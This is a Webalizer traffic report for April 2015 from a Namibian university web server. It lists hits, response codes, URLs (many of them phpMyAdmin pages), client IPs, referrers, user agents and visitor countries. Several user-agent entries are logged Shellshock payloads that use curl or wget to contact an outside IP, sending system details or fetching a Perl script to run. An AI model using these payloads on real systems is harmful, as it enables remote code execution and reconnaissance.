Usage Statistics for webmainsrvp001.shared.nust.na

Summary Period: April 2015
Generated 01-May-2015 06:27 WAT

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Locations]

Monthly Statistics for April 2015
Total Hits 85131
Total Files 11164
Total Pages 73273
Total Visits 16658
Total kB Files 5829848
Total kB In 0
Total kB Out 0
Total Unique Sites 10447
Total Unique URLs 186
Total Unique Referrers 108
Total Unique User Agents 414
. Avg Max
Hits per Hour 118 1259
Hits per Day 2837 5398
Files per Day 372 990
Pages per Day 2442 4153
Visits per Day 555 819
kB Files per Day 194328 3153334
kB In per Day 0 0
kB Out per Day 0 0
Hits by Response Code
Code 200 - OK 11164
Code 301 - Moved Permanently 8
Code 302 - Found 31
Code 304 - Not Modified 886
Code 400 - Bad Request 1119
Code 401 - Unauthorized 1
Code 403 - Forbidden 8
Code 404 - Not Found 6703
Code 405 - Method Not Allowed 4611
Code 408 - Request Timeout 60525
Code 500 - Internal Server Error 53
Code 501 - Not Implemented 22

Daily usage for April 2015

Daily Statistics for April 2015
Day Hits Files Pages Visits Sites kB F kB In kB Out
1 2377 2.79% 327 2.93% 2242 3.06% 575 3.45% 492 4.71% 649 0.01% 0 0.00% 0 0.00%
2 2980 3.50% 296 2.65% 2833 3.87% 519 3.12% 430 4.12% 751 0.01% 0 0.00% 0 0.00%
3 1243 1.46% 312 2.79% 1238 1.69% 296 1.78% 271 2.59% 430 0.01% 0 0.00% 0 0.00%
4 1171 1.38% 294 2.63% 1016 1.39% 268 1.61% 242 2.32% 468 0.01% 0 0.00% 0 0.00%
5 1303 1.53% 306 2.74% 1299 1.77% 294 1.76% 266 2.55% 397 0.01% 0 0.00% 0 0.00%
6 1799 2.11% 301 2.70% 1789 2.44% 422 2.53% 381 3.65% 393 0.01% 0 0.00% 0 0.00%
7 4211 4.95% 313 2.80% 4153 5.67% 748 4.49% 630 6.03% 443 0.01% 0 0.00% 0 0.00%
8 2708 3.18% 305 2.73% 2695 3.68% 640 3.84% 538 5.15% 418 0.01% 0 0.00% 0 0.00%
9 3842 4.51% 308 2.76% 3713 5.07% 631 3.79% 563 5.39% 901 0.02% 0 0.00% 0 0.00%
10 2384 2.80% 321 2.88% 2339 3.19% 581 3.49% 493 4.72% 430 0.01% 0 0.00% 0 0.00%
11 1698 1.99% 295 2.64% 1263 1.72% 331 1.99% 301 2.88% 609 0.01% 0 0.00% 0 0.00%
12 1671 1.96% 316 2.83% 1656 2.26% 416 2.50% 381 3.65% 446 0.01% 0 0.00% 0 0.00%
13 5252 6.17% 335 3.00% 3583 4.89% 819 4.92% 655 6.27% 1315 0.02% 0 0.00% 0 0.00%
14 3441 4.04% 410 3.67% 3233 4.41% 770 4.62% 627 6.00% 33323 0.57% 0 0.00% 0 0.00%
15 3573 4.20% 301 2.70% 3147 4.29% 787 4.72% 648 6.20% 602 0.01% 0 0.00% 0 0.00%
16 4260 5.00% 503 4.51% 3294 4.50% 756 4.54% 584 5.59% 1046 0.02% 0 0.00% 0 0.00%
17 3632 4.27% 295 2.64% 3130 4.27% 774 4.65% 607 5.81% 636 0.01% 0 0.00% 0 0.00%
18 1579 1.85% 292 2.62% 1416 1.93% 353 2.12% 305 2.92% 457 0.01% 0 0.00% 0 0.00%
19 1937 2.28% 317 2.84% 1572 2.15% 384 2.31% 353 3.38% 587 0.01% 0 0.00% 0 0.00%
20 5398 6.34% 439 3.93% 3797 5.18% 804 4.83% 637 6.10% 15287 0.26% 0 0.00% 0 0.00%
21 4978 5.85% 312 2.79% 3364 4.59% 773 4.64% 620 5.93% 1221 0.02% 0 0.00% 0 0.00%
22 2856 3.35% 297 2.66% 2771 3.78% 627 3.76% 514 4.92% 424 0.01% 0 0.00% 0 0.00%
23 2484 2.92% 336 3.01% 2432 3.32% 635 3.81% 527 5.04% 2183 0.04% 0 0.00% 0 0.00%
24 2199 2.58% 294 2.63% 1860 2.54% 503 3.02% 416 3.98% 562 0.01% 0 0.00% 0 0.00%
25 1118 1.31% 297 2.66% 1077 1.47% 282 1.69% 264 2.53% 397 0.01% 0 0.00% 0 0.00%
26 2530 2.97% 299 2.68% 1370 1.87% 315 1.89% 285 2.73% 1001 0.02% 0 0.00% 0 0.00%
27 3819 4.49% 575 5.15% 2970 4.05% 637 3.82% 520 4.98% 3153334 54.09% 0 0.00% 0 0.00%
28 3548 4.17% 816 7.31% 3047 4.16% 631 3.79% 501 4.80% 2592325 44.47% 0 0.00% 0 0.00%
29 2532 2.97% 362 3.24% 2524 3.44% 609 3.66% 503 4.81% 3965 0.07% 0 0.00% 0 0.00%
30 2608 3.06% 990 8.87% 2450 3.34% 520 3.12% 445 4.26% 14849 0.25% 0 0.00% 0 0.00%

Hourly usage for April 2015

Hourly Statistics for April 2015
Hour Hits Files Pages kB F kB In kB Out
Avg Total Avg Total Avg Total Avg Total Avg Total Avg Total
0 47 1429 1.68% 12 373 3.34% 46 1382 1.89% 26 773 0.01% 0 0 0.00% 0 0 0.00%
1 35 1073 1.26% 12 389 3.48% 33 1014 1.38% 19 577 0.01% 0 0 0.00% 0 0 0.00%
2 28 841 0.99% 12 383 3.43% 27 835 1.14% 25 757 0.01% 0 0 0.00% 0 0 0.00%
3 24 741 0.87% 12 377 3.38% 24 729 0.99% 42 1249 0.02% 0 0 0.00% 0 0 0.00%
4 26 780 0.92% 12 372 3.33% 25 757 1.03% 17 524 0.01% 0 0 0.00% 0 0 0.00%
5 34 1040 1.22% 16 498 4.46% 34 1034 1.41% 124 3734 0.06% 0 0 0.00% 0 0 0.00%
6 33 1016 1.19% 12 382 3.42% 32 967 1.32% 50 1506 0.03% 0 0 0.00% 0 0 0.00%
7 109 3271 3.84% 21 649 5.81% 99 2999 4.09% 64609 1938269 33.25% 0 0 0.00% 0 0 0.00%
8 154 4647 5.46% 19 586 5.25% 144 4321 5.90% 21863 655903 11.25% 0 0 0.00% 0 0 0.00%
9 183 5502 6.46% 13 401 3.59% 168 5040 6.88% 50 1505 0.03% 0 0 0.00% 0 0 0.00%
10 180 5418 6.36% 18 548 4.91% 165 4951 6.76% 136 4081 0.07% 0 0 0.00% 0 0 0.00%
11 205 6171 7.25% 21 634 5.68% 169 5098 6.96% 1143 34280 0.59% 0 0 0.00% 0 0 0.00%
12 196 5896 6.93% 20 600 5.37% 165 4966 6.78% 511 15327 0.26% 0 0 0.00% 0 0 0.00%
13 180 5400 6.34% 17 517 4.63% 153 4610 6.29% 141 4231 0.07% 0 0 0.00% 0 0 0.00%
14 179 5394 6.34% 14 443 3.97% 155 4659 6.36% 63 1886 0.03% 0 0 0.00% 0 0 0.00%
15 236 7088 8.33% 15 474 4.25% 173 5201 7.10% 58 1739 0.03% 0 0 0.00% 0 0 0.00%
16 196 5887 6.92% 19 585 5.24% 159 4787 6.53% 104697 3140898 53.88% 0 0 0.00% 0 0 0.00%
17 127 3820 4.49% 14 434 3.89% 104 3132 4.27% 370 11102 0.19% 0 0 0.00% 0 0 0.00%
18 127 3835 4.50% 13 390 3.49% 103 3106 4.24% 63 1892 0.03% 0 0 0.00% 0 0 0.00%
19 181 5456 6.41% 19 589 5.28% 146 4381 5.98% 109 3274 0.06% 0 0 0.00% 0 0 0.00%
20 107 3238 3.80% 12 385 3.45% 94 2844 3.88% 73 2184 0.04% 0 0 0.00% 0 0 0.00%
21 95 2851 3.35% 13 406 3.64% 88 2654 3.62% 72 2157 0.04% 0 0 0.00% 0 0 0.00%
22 84 2542 2.99% 12 370 3.31% 72 2173 2.97% 22 674 0.01% 0 0 0.00% 0 0 0.00%
23 59 1795 2.11% 12 379 3.39% 54 1633 2.23% 44 1327 0.02% 0 0 0.00% 0 0 0.00%

Top 30 of 186 Total URLs
# Hits kB F kB In kB Out URL
1 9104 10.69% 11418 0.20% 0 0.00% 0 0.00% /
2 323 0.38% 10690 0.18% 0 0.00% 0 0.00% /phpmyadmin/phpmyadmin.css.php
3 236 0.28% 1913 0.03% 0 0.00% 0 0.00% /phpmyadmin/url.php
4 153 0.18% 427 0.01% 0 0.00% 0 0.00% /phpmyadmin/js/jquery/jquery-1.4.4.js
5 143 0.17% 34 0.00% 0 0.00% 0 0.00% /phpmyadmin/js/update-location.js
6 123 0.14% 160 0.00% 0 0.00% 0 0.00% /phpmyadmin/js/functions.js
7 116 0.14% 617 0.01% 0 0.00% 0 0.00% /phpmyadmin/navigation.php
8 113 0.13% 26 0.00% 0 0.00% 0 0.00% /phpmyadmin/js/cross_framing_protection.js
9 113 0.13% 108 0.00% 0 0.00% 0 0.00% /phpmyadmin/js/jquery/jquery.qtip-1.0.0.min.js
10 109 0.13% 252 0.00% 0 0.00% 0 0.00% /phpmyadmin/
11 88 0.10% 459 0.01% 0 0.00% 0 0.00% /phpmyadmin/js/messages.php
12 83 0.10% 6328 0.11% 0 0.00% 0 0.00% /webalizer/usage_201504.html
13 66 0.08% 180 0.00% 0 0.00% 0 0.00% /webalizer/
14 58 0.07% 424 0.01% 0 0.00% 0 0.00% /phpmyadmin/main.php
15 55 0.06% 296 0.01% 0 0.00% 0 0.00% /phpmyadmin/js/jquery/jquery-ui-1.8.custom.js
16 51 0.06% 3760 0.06% 0 0.00% 0 0.00% /webalizer/usage_201502.html
17 50 0.06% 724 0.01% 0 0.00% 0 0.00% /phpmyadmin/db_structure.php
18 46 0.05% 3722 0.06% 0 0.00% 0 0.00% /webalizer/usage_201503.html
19 33 0.04% 16 0.00% 0 0.00% 0 0.00% /phpmyadmin/js/common.js
20 29 0.03% 10 0.00% 0 0.00% 0 0.00% /phpmyadmin/js/jquery/jquery.sprintf.js
21 27 0.03% 250 0.00% 0 0.00% 0 0.00% /phpmyadmin/db_export.php
22 27 0.03% 5780342 99.15% 0 0.00% 0 0.00% /phpmyadmin/export.php
23 23 0.03% 11 0.00% 0 0.00% 0 0.00% /phpmyadmin/js/db_structure.js
24 22 0.03% 98 0.00% 0 0.00% 0 0.00% /phpmyadmin/server_privileges.php
25 21 0.02% 13 0.00% 0 0.00% 0 0.00% /apps/
26 17 0.02% 55 0.00% 0 0.00% 0 0.00% /phpmyadmin/db_search.php
27 14 0.02% 110 0.00% 0 0.00% 0 0.00% /phpmyadmin/server_databases.php
28 12 0.01% 8 0.00% 0 0.00% 0 0.00% http://www.google.com/
29 11 0.01% 6 0.00% 0 0.00% 0 0.00% /phpmyadmin/print.css
30 11 0.01% 54 0.00% 0 0.00% 0 0.00% /phpmyadmin/themes/pmahomme/jquery/jquery-ui-1.8.custom.css

Top 10 of 186 Total URLs By kB F
# Hits kB F kB In kB Out URL
1 27 0.03% 5780342 99.15% 0 0.00% 0 0.00% /phpmyadmin/export.php
2 9104 10.69% 11418 0.20% 0 0.00% 0 0.00% /
3 323 0.38% 10690 0.18% 0 0.00% 0 0.00% /phpmyadmin/phpmyadmin.css.php
4 83 0.10% 6328 0.11% 0 0.00% 0 0.00% /webalizer/usage_201504.html
5 51 0.06% 3760 0.06% 0 0.00% 0 0.00% /webalizer/usage_201502.html
6 46 0.05% 3722 0.06% 0 0.00% 0 0.00% /webalizer/usage_201503.html
7 236 0.28% 1913 0.03% 0 0.00% 0 0.00% /phpmyadmin/url.php
8 50 0.06% 724 0.01% 0 0.00% 0 0.00% /phpmyadmin/db_structure.php
9 116 0.14% 617 0.01% 0 0.00% 0 0.00% /phpmyadmin/navigation.php
10 88 0.10% 459 0.01% 0 0.00% 0 0.00% /phpmyadmin/js/messages.php

Top 10 of 18 Total Entry Pages
# Hits Visits URL
1 9104 10.69% 279 68.89% /
2 66 0.08% 41 10.12% /webalizer/
3 51 0.06% 22 5.43% /webalizer/usage_201502.html
4 83 0.10% 19 4.69% /webalizer/usage_201504.html
5 109 0.13% 10 2.47% /phpmyadmin/
6 21 0.02% 8 1.98% /apps/
7 10 0.01% 6 1.48% http://ipm.avira.com/
8 116 0.14% 4 0.99% /phpmyadmin/navigation.php
9 236 0.28% 3 0.74% /phpmyadmin/url.php
10 3 0.00% 3 0.74% http://24x7-allrequestsallowed.com/

Top 10 of 12 Total Exit Pages
# Hits Visits URL
1 9104 10.69% 27 32.53% /
2 83 0.10% 21 25.30% /webalizer/usage_201504.html
3 66 0.08% 10 12.05% /webalizer/
4 88 0.10% 9 10.84% /phpmyadmin/js/messages.php
5 323 0.38% 6 7.23% /phpmyadmin/phpmyadmin.css.php
6 10 0.01% 3 3.61% http://ipm.avira.com/
7 21 0.02% 2 2.41% /apps/
8 109 0.13% 1 1.20% /phpmyadmin/
9 116 0.14% 1 1.20% /phpmyadmin/navigation.php
10 51 0.06% 1 1.20% /webalizer/usage_201502.html

Top 30 of 10447 Total Sites
# Hits Files kB F kB In kB Out Visits Hostname
1 8652 10.16% 8652 77.50% 11060 0.19% 0 0.00% 0 0.00% 2 0.01% 127.0.0.1
2 3480 4.09% 4 0.04% 1768 0.03% 0 0.00% 0 0.00% 26 0.16% 41.182.173.193
3 2784 3.27% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 134 0.80% 209.88.21.195
4 1952 2.29% 1157 10.36% 5785595 99.24% 0 0.00% 0 0.00% 22 0.13% 196.12.10.164
5 1902 2.23% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 141 0.85% 41.218.68.114
6 1657 1.95% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 145 0.87% 196.31.226.30
7 1178 1.38% 1 0.01% 596 0.01% 0 0.00% 0 0.00% 9 0.05% 41.182.166.163
8 1138 1.34% 4 0.04% 576 0.01% 0 0.00% 0 0.00% 11 0.07% 41.182.170.64
9 1088 1.28% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 142 0.85% 196.31.239.226
10 945 1.11% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 101 0.61% 196.44.138.126
11 927 1.09% 12 0.11% 465 0.01% 0 0.00% 0 0.00% 2 0.01% 10.249.19.194
12 769 0.90% 1 0.01% 390 0.01% 0 0.00% 0 0.00% 4 0.02% 41.182.164.30
13 720 0.85% 3 0.03% 374 0.01% 0 0.00% 0 0.00% 1 0.01% 67.49.228.232
14 621 0.73% 3 0.03% 323 0.01% 0 0.00% 0 0.00% 1 0.01% 94.249.234.193
15 616 0.72% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 1 0.01% 88.202.126.35
16 554 0.65% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 95 0.57% 41.182.252.68
17 552 0.65% 8 0.07% 282 0.00% 0 0.00% 0 0.00% 3 0.02% 41.182.160.91
18 520 0.61% 514 4.60% 12903 0.22% 0 0.00% 0 0.00% 4 0.02% 80.86.94.7
19 450 0.53% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 46 0.28% 41.205.130.194
20 406 0.48% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 15 0.09% 41.182.199.176
21 368 0.43% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 69 0.41% 41.205.130.162
22 367 0.43% 0 0.00% 184 0.00% 0 0.00% 0 0.00% 4 0.02% 41.182.160.2
23 328 0.39% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 96 0.58% 196.44.150.18
24 325 0.38% 13 0.12% 167 0.00% 0 0.00% 0 0.00% 7 0.04% 10.108.144.193
25 308 0.36% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 77 0.46% 41.205.148.42
26 249 0.29% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 29 0.17% 41.205.140.178
27 193 0.23% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 69 0.41% 196.223.18.180
28 177 0.21% 10 0.09% 86 0.00% 0 0.00% 0 0.00% 1 0.01% 10.249.14.235
29 175 0.21% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 40 0.24% 10.108.99.22
30 157 0.18% 57 0.51% 57 0.00% 0 0.00% 0 0.00% 1 0.01% 10.109.54.129

Top 10 of 10447 Total Sites By kB F
# Hits Files kB F kB In kB Out Visits Hostname
1 1952 2.29% 1157 10.36% 5785595 99.24% 0 0.00% 0 0.00% 22 0.13% 196.12.10.164
2 520 0.61% 514 4.60% 12903 0.22% 0 0.00% 0 0.00% 4 0.02% 80.86.94.7
3 144 0.17% 144 1.29% 12056 0.21% 0 0.00% 0 0.00% 22 0.13% 5.9.58.169
4 8652 10.16% 8652 77.50% 11060 0.19% 0 0.00% 0 0.00% 2 0.01% 127.0.0.1
5 3480 4.09% 4 0.04% 1768 0.03% 0 0.00% 0 0.00% 26 0.16% 41.182.173.193
6 12 0.01% 12 0.11% 1010 0.02% 0 0.00% 0 0.00% 2 0.01% 78.46.170.110
7 1178 1.38% 1 0.01% 596 0.01% 0 0.00% 0 0.00% 9 0.05% 41.182.166.163
8 1138 1.34% 4 0.04% 576 0.01% 0 0.00% 0 0.00% 11 0.07% 41.182.170.64
9 927 1.09% 12 0.11% 465 0.01% 0 0.00% 0 0.00% 2 0.01% 10.249.19.194
10 769 0.90% 1 0.01% 390 0.01% 0 0.00% 0 0.00% 4 0.02% 41.182.164.30

Top 30 of 108 Total Referrers
# Hits Referrer
1 81276 95.47% - (Direct Request)
2 666 0.78% http://google.com
3 568 0.67% ()
4 505 0.59% http://196.216.167.70/phpmyadmin/index.php
5 341 0.40% http://196.216.167.70/phpmyadmin/db_structure.php
6 320 0.38% http://196.216.167.70/phpmyadmin/main.php
7 201 0.24% http://196.216.167.70/phpmyadmin/navigation.php
8 157 0.18% http://196.216.167.70/phpmyadmin/
9 155 0.18% http://196.216.167.70/
10 127 0.15% http://www.polytechnic.edu.na/
11 90 0.11% http://196.216.167.70/phpmyadmin/phpmyadmin.css.php
12 74 0.09% http://196.216.167.70/phpmyadmin/db_export.php
13 63 0.07% http://196.216.167.70/phpmyadmin/db_search.php
14 61 0.07% http://196.216.167.70/phpmyadmin/sql.php
15 41 0.05% http://www.fotor.com/windows/user-guide.html
16 38 0.04% http://nust.na/webalizer/
17 36 0.04% http://196.216.167.70/phpmyadmin/server_databases.php
18 36 0.04% http://196.216.167.70/phpmyadmin/server_privileges.php
19 25 0.03% http://cce.polytechnic.edu.na/
20 20 0.02% http://196.216.167.70/phpmyadmin/db_import.php
21 14 0.02% http://nust.na
22 12 0.01% http://196.216.167.70/apps/
23 12 0.01% http://www.fotor.com/client/install/
24 10 0.01% http://koljerodisa.sitescopy.ru
25 9 0.01% http://samsung13.msn.com/
26 9 0.01% http://soe.polytechnic.edu.na/
27 8 0.01% http://196.216.167.70/phpmyadmin/import.php
28 8 0.01% http://196.216.167.70/phpmyadmin/themes/pmahomme/jquery/jquery-ui-1.8.custom.css
29 8 0.01% http://som.polytechnic.edu.na/
30 8 0.01% http://www.google.com/

Top 2 of 2 Total Search Strings
# Hits Search String
1 1 50.00% epoly
2 1 50.00% free proxy checker

Top 15 of 414 Total User Agents
# Hits User Agent
1 8652 10.16% Mozilla/5.0 (ISPConfig monitor)
2 2559 3.01% Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11
3 1329 1.56% Microsoft-WNS/6.3
4 706 0.83% Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:37.0) Gecko/20100101 Firefox/37.0
5 632 0.74% Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
6 598 0.70% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
7 520 0.61% Mozilla/5.0 (compatible; WBSearchBot/1.1; +http://www.warebay.com/bot.html)
8 357 0.42% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
9 343 0.40% () { :; }; curl http://54.248.244.82/s.php?c1-`uname -p`
10 325 0.38% () { :;};/usr/bin/perl -e 'print \"Content-Type
11 323 0.38% () { :; }; wget -qO - http://54.248.244.82/s.php?w1-`uname`-`uname -p`-`whoami`
12 315 0.37% () { :; }; curl http://54.248.244.82/test.pl | perl
13 255 0.30% Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:37.0) Gecko/20100101 Firefox/37.0
14 253 0.30% () { :; }; wget -qO - http://54.248.244.82/test.pl | perl
15 236 0.28% Microsoft NCSI

Usage by Location for April 2015

Top 30 of 84 Total Locations
# Hits Files kB F kB In kB Out Location
1 42914 50.41% 1190 10.66% 5789543 99.31% 0 0.00% 0 0.00% Namibia
2 28840 33.88% 9112 81.62% 24736 0.42% 0 0.00% 0 0.00% Unresolved/Unknown
3 4140 4.86% 119 1.07% 608 0.01% 0 0.00% 0 0.00% United States
4 3609 4.24% 0 0.00% 0 0.00% 0 0.00% 0 0.00% South Africa
5 1493 1.75% 577 5.17% 14307 0.25% 0 0.00% 0 0.00% Germany
6 1378 1.62% 84 0.75% 171 0.00% 0 0.00% 0 0.00% China
7 623 0.73% 0 0.00% 0 0.00% 0 0.00% 0 0.00% Italy
8 267 0.31% 0 0.00% 6 0.00% 0 0.00% 0 0.00% Iceland
9 242 0.28% 2 0.02% 19 0.00% 0 0.00% 0 0.00% India
10 142 0.17% 0 0.00% 0 0.00% 0 0.00% 0 0.00% Botswana
11 135 0.16% 0 0.00% 0 0.00% 0 0.00% 0 0.00% Zimbabwe
12 103 0.12% 0 0.00% 0 0.00% 0 0.00% 0 0.00% Great Britain (UK)
13 89 0.10% 0 0.00% 0 0.00% 0 0.00% 0 0.00% Zambia
14 70 0.08% 5 0.04% 34 0.00% 0 0.00% 0 0.00% Turkey
15 67 0.08% 0 0.00% 0 0.00% 0 0.00% 0 0.00% Austria
16 66 0.08% 13 0.12% 143 0.00% 0 0.00% 0 0.00% Russian Federation
17 66 0.08% 9 0.08% 44 0.00% 0 0.00% 0 0.00% Ukraine
18 65 0.08% 0 0.00% 0 0.00% 0 0.00% 0 0.00% Sweden
19 62 0.07% 0 0.00% 0 0.00% 0 0.00% 0 0.00% Tanzania
20 56 0.07% 2 0.02% 5 0.00% 0 0.00% 0 0.00% France
21 55 0.06% 0 0.00% 2 0.00% 0 0.00% 0 0.00% Canada
22 49 0.06% 2 0.02% 29 0.00% 0 0.00% 0 0.00% Thailand
23 45 0.05% 0 0.00% 0 0.00% 0 0.00% 0 0.00% Nigeria
24 42 0.05% 14 0.13% 126 0.00% 0 0.00% 0 0.00% Poland
25 41 0.05% 2 0.02% 7 0.00% 0 0.00% 0 0.00% Netherlands
26 31 0.04% 2 0.02% 7 0.00% 0 0.00% 0 0.00% Australia
27 29 0.03% 0 0.00% 0 0.00% 0 0.00% 0 0.00% Malawi
28 28 0.03% 4 0.04% 6 0.00% 0 0.00% 0 0.00% Korea (South)
29 26 0.03% 0 0.00% 0 0.00% 0 0.00% 0 0.00% Finland
30 24 0.03% 0 0.00% 3 0.00% 0 0.00% 0 0.00% Kenya


Generated by Webalizer Version 2.01